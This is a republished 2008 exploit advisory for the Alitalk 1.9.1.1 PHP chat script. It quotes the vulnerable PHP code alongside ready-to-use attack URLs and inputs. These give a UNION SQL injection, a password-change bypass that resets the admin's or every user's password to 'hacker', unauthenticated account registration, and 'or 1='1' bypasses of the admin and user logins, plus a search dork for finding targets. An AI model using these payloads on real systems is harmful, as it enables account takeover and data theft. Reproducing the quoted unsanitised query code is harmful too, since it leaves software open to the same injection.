alitalk 1.9.1.1 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Alitalk 1.9.1.1 - Multiple Vulnerabilities including SQL Injection, Password Change Bypass, and User Registration Bypass

                                                ######################################################################
# ALITALK v 1.9.1.1 Multiple Vulnerabilities                         #
# author      : tomplixsee                                           #
# google dork : POWERED BY ALITALK                                   #
# download    : http://www.alilg.com/software/free-php-ajax-chat/    #                             
######################################################################

#################
# SQL INJECTION # 
#################
# you need to login in order to exploit this vulnerability
# vulnerable code on inc/receivertwo.php
# &#60;?
# .....
# if($_GET[&#39;turnadd&#39;]==1)
# {
# $rmusr=0;
# $rmmzyiz=mysql_query(&#34;SELECT * from &#34;.$alitalk_base[&#39;dbprefix&#39;].&#34;users where room=&#39;&#34;.$_GET[&#39;mohit&#39;].&#34;&#39;&#34;);
# while ($rmuiz=mysql_fetch_array($rmmzyiz))
# {
# echo&#34;&#60;rmusj&#62;&#34;;
# echo&#34; r%#dtr onmouseout=\&#34;detailsclo()\&#34; onmouseover=\&#34;details(event,&#39;&#34;.$rmuiz[gender].&#34;&#39;,&#39;&#34;.$rmuiz[age].&#34;&#39;,&#39;&#34;.$rmuiz[username].&#34;&#39;,&#39;&#34;.$rmuiz[location].&#34;&#39;)\&#34; ondblclick=\&#34;ums(&#39;&#34;.$rmuiz[uid].&#34;&#39;,&#39;&#34;.$rmuiz[username].&#34;&#39;,&#39;&#34;.&#34;&#34;.&#34;&#39;)\&#34; b*%d
# r%#dtd width=&#39;19&#39;b*%d r%#dimg src=\&#34;pix/room_user.gif\&#34;b*%dr%#d/tdb*%d
# r%#dtd class=&#39;roomuser&#39;b*%dr%#dfont unselectable=&#39;on&#39; style=\&#34;cursor: default;\&#34;b*%d $rmuiz[username] r%#d/tdb*%d
# r%#d/trb*%d&#34;;
# $rmusr++;
# echo&#34;&#60;/rmusj&#62;&#34;;
# }
# ....
# ?&#62;
#
# example:
# http://target/path/alitalk/inc/receivertwo.php?uid=1&mohit=y&#39;+union+select+user(),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2+from+alitalk_users+where+uid=&#39;1&turnadd=1&melody=0&lilil=400


###########################
# PASSWORD CHANGE BYPASS  #
###########################
# vulnerable code on functionz/usercp.php
# &#60;?
# .....
# function newpass($db,$id)
# {
# $nat=md5($_GET[&#39;old&#39;].$_GET[&#39;old&#39;]);
# $nao=md5($_GET[&#39;new&#39;].$_GET[&#39;new&#39;]);
# $threeyiz=mysql_query(&#34;SELECT * from &#34;.$db.&#34;users where uid=&#39;&#34;.$id.&#34;&#39; and password=&#39;&#34;.md5(md5($_GET[&#39;old&#39;]).$nat).&#34;&#39;&#34;);
# $yiz=mysql_fetch_array($threeyiz);
# if(!$yiz)
# {
# echo &#34;Old Password is Wrong!&#34;;
# }
# else
# {
# mysql_query(&#34;UPDATE &#34;.$db.&#34;users SET password=&#39;&#34;.md5(md5($_GET[&#39;new&#39;]).$nao).&#34;&#39; WHERE uid=&#39;&#34;.$id.&#34;&#39;&#34;);
# mysql_query(&#34;UPDATE &#34;.$db.&#34;users SET salt=&#39;&#34;.$nao.&#34;&#39; WHERE uid=&#39;&#34;.$id.&#34;&#39;&#34;);
# mpl($db,$id);
# }
# }
# .....
# ?&#62;
# examples:
# http://target/path/inc/usercp.php?action=newpass&id=1&#39; or password=&#39;&lilil=400&new=hacker
# this will change password to &#34;hacker&#34; for user with uid = 1 (admin).
# 
# http://target/path/inc/usercp.php?action=newpass&id=1&#39; or 1=&#39;1&lilil=400&new=hacker
# this will change ALL passwords to &#34;hacker&#34;.


############################
# USER REGISTRATION BYPASS #
############################
# vulnerable code on inc/elementz.php:
# &#60;?
# ......
# if($_GET[&#39;lilil&#39;]!==&#34;&#34;.$_SESSION[&#39;lilol&#39;].&#34;&#34;){return false;}
# include&#34;setting.php&#34;;
# $analuze=mysql_query(&#34;SELECT username from &#34;.$alitalk_base[&#39;dbprefix&#39;].&#34;users where username=&#39;&#34;.$_GET[&#39;ubild&#39;].&#34;&#39; and type=&#39;alitalk&#39;&#34;);
# $analuzeed=mysql_fetch_array($analuze);
# if($analuzeed)
# {
# echo &#34;Fatal Error&#34;;
# }
# else
# {
# $nat=md5($_GET[&#39;pa&#39;].$_GET[&#39;pa&#39;]);
# $pass=md5(md5($_GET[&#39;pa&#39;]).$nat);
# mysql_query(&#34;INSERT into &#34;.$alitalk_base[&#39;dbprefix&#39;].&#34;users (firstname,lastname,gender,age,username,password,salt,joindate,addz,type) values(&#39;&#34;.$_GET[&#39;fn&#39;].&#34;&#39;,&#39;&#34;.$_GET[&#39;ln&#39;].&#34;&#39;,&#39;&#34;.$_GET[&#39;gender&#39;].&#34;&#39;,&#39;&#34;.$_GET[&#39;age&#39;].&#34;&#39;,&#39;&#34;.$_GET[&#39;ubild&#39;].&#34;&#39;,&#39;&#34;.$pass.&#34;&#39;,&#39;&#34;.$nat.&#34;&#39;,&#39;&#34;.date(&#34;F j, Y&#34;).&#34;&#39;,&#39;$uid&#39;,&#39;alitalk&#39;)&#34;);
# ....
# ?&#62;
# example:
# http://target/path/inc/elementz.php?lilil=400&ubild=hacker&pa=hacker
# this will add an account with username=hacker and password=hacker


#############################
# ADMIN LOGIN SQL INJECTION #
#############################
# code on admin/index.php
# &#60;?
# .......
# else if($_POST[&#39;signin&#39;])
# {
# include &#34;../functionz/first_process.php&#34;;
# include &#34;../inc/setting.php&#34;;
# addin($_POST[&#39;username&#39;],$_POST[&#39;password&#39;],$alitalk_base[&#39;dbprefix&#39;]);
# }
# .....
# ?&#62;
# 
# vulnerable code on functionz/first_process.php
# &#60;?
# ......
# function addin($lamerz,$killer,$josh)
# {
# session_start();
# $nat=md5($killer.$killer);
# $analuze=mysql_query(&#34;SELECT * FROM &#34;.$josh.&#34;info WHERE admin=&#39;&#34;.$lamerz.&#34;&#39; AND password=&#39;&#34;.md5(md5($killer).$nat).&#34;&#39;&#34;);
# $analuzeed=mysql_fetch_array($analuze);
# if($analuzeed)
# {
# $_SESSION[&#39;adazsar&#39;]=1;
# ......
# ?&#62;
#
# admin login page= http://target/path/admin
# example:
#  admin ID = adminusername&#39; or 1=&#39;1
#  password = whatever


############################
# USER LOGIN SQL INJECTION #
############################
#
# example:
#  ID = an_userID&#39; or 1=&#39;1
#  password = whatever

# milw0rm.com [2008-01-16]
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1